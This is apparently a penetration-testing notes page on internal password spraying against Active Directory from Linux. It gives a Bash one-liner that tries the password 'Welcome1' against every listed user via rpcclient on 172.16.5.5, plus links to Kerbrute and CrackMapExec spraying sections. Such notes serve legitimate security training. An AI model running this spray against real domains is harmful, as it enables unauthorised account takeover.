> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/internal-password-spraying-from-linux-active-directory.md).

# Internal Password Spraying - from Linux ACTIVE Directory

### Using a Bash one-liner for the Attack

* need valid\_users.txt file
  * [Password Spraying - Making a Target User List ACTIVE Directory](/cybersecurity/password-spraying-making-a-target-user-list-active-directory.md)

```shell-session
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Copy
```

### Using Kerbrute for the Attack

* [Kerbrute](/cybersecurity/kerbrute.md#password-spraying-active-directory)

### Using CrackMapExec & Filtering Logon Failures

* [CrackMapExec](/cybersecurity/crackmapexec.md#password-spraying-active-directory)

**Local Admin Spraying with CrackMapExec**

[CrackMapExec](/cybersecurity/crackmapexec.md#local-admin-spraying-with-crackmapexec)

## Reference

* <https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/>

<br>

<br>